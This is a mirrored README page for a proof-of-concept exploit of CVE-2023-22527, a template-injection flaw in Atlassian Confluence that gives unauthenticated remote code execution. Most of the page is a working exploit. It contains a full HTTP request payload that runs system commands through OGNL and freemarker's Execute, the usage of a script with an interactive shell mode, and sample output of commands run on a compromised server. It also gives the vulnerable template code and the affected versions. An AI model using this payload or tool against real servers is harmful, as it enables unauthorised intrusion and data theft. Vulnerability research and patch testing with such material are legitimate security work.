CVE-2023-22527 PoC — Atlassian Confluence 安全漏洞

Source

https://github.com/Vozec/CVE-2023-22527

Associated Vulnerability

Title:Atlassian Confluence 安全漏洞 (CVE-2023-22527)
Description:A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.

Description

This repository presents a proof-of-concept of CVE-2023-22527

Readme

# CVE-2023-22527
This repository presents a proof-of-concept of CVE-2023-22527

# CVE-2023-22527 | RCE using SSTI in Confluence

## Disclamer
This code is a proof of concept of the vulnerability, I'm not pushing anyone to use it on confluence instances they don't own.  
This tool has been developed for research and educational purposes only and I will not be held responsible for any use you may make of it.

## Description

CVE-2023-22527 refers to an ServerSide template injection vulnerability in freemarker engine that allows users to execute command on the webserver.

## Payload:
Here's an example payload
```
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))
```

## Help
```md
$ python3 CVE-2023-22527.py -h
usage: CVE-2023-22527.py [-h] [-u URL] [-c COMMAND] [-i]

This is a POC for CVE-2023-22527 (Confluence SSTI)

options:
  -h, --help  show this help message and exit
  -u URL      Url
  -c COMMAND  Command
  -i          Interactive mod
```

## Example
```bash
python3 CVE-2023-22527.py -u  http://127.0.0.1:8092 -i
[DEBUG] Spawning semi-interactive shell ..
$ id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
$ whoami
confluence
$ ls -lha
total 128K
drwxr-xr-x 19 confluence confluence 4.0K Jan 23 08:42 .
drwxr-xr-x  1 root       root       4.0K Jan 20 16:15 ..
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 analytics-logs
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:40 attachments
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 backups
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 bundled-plugins
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:38 .cache
-rw-r-----  1 confluence confluence 6.1K Jan 23 08:42 confluence.cfg.xml
-rw-r--r--  1 confluence confluence    1 Jan 23 08:13 docker-app.pid
drwxr-x---  4 confluence confluence 4.0K Jan 23 08:42 index
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:37 .java
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:43 journal
-rw-r-----  1 confluence confluence    0 Jan 23 08:37 lock
drwxr-x---  4 confluence confluence 4.0K Jan 23 08:42 log
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:13 logs
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 plugins-cache
drwxr-x---  5 confluence confluence 4.0K Jan 23 08:37 plugins-osgi-cache
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:37 plugins-temp
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:42 shared-home
-rw-r-----  1 confluence confluence  860 Jan 23 08:42 synchrony-args.properties
drwxr-x---  2 confluence confluence 4.0K Jan 23 08:40 temp
drwxr-x---  3 confluence confluence 4.0K Jan 23 08:37 viewfile
drwxr-x---  2 confluence confluence  40K Jan 23 08:46 webresource-temp
```



The vulnerability is located in the file below:
  ./confluence/confluence/template/aui/text-inline.vm


## Vulnerable code:
```java
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
    #set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
    #set( $parameters.id = $parameters.name)
#end

<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
    <span class="aui-icon icon-required"></span>
    <span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")
```

## Affected versions
Confluence Data Center and Server	
- 8.0.x
- 8.1.x
- 8.2.x
- 8.3.x
- 8.4.x
- 8.5.0-8.5.3

## References: 
- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
- https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html?subid=1812250057&jobid=106379017&utm_campaign=confluence-critical-advisory_EML-17850&utm_medium=email&utm_source=alert-email
- https://twitter.com/sirifu4k1/status/1749440022942474371

File Snapshot


 [4.0K]  /data/pocs/b53a2861edc68c90abe494a5e16c0c19fa32ae74
├── [1.9K]  CVE-2023-22527.py
├── [ 450]  docker-compose.yml
└── [4.1K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!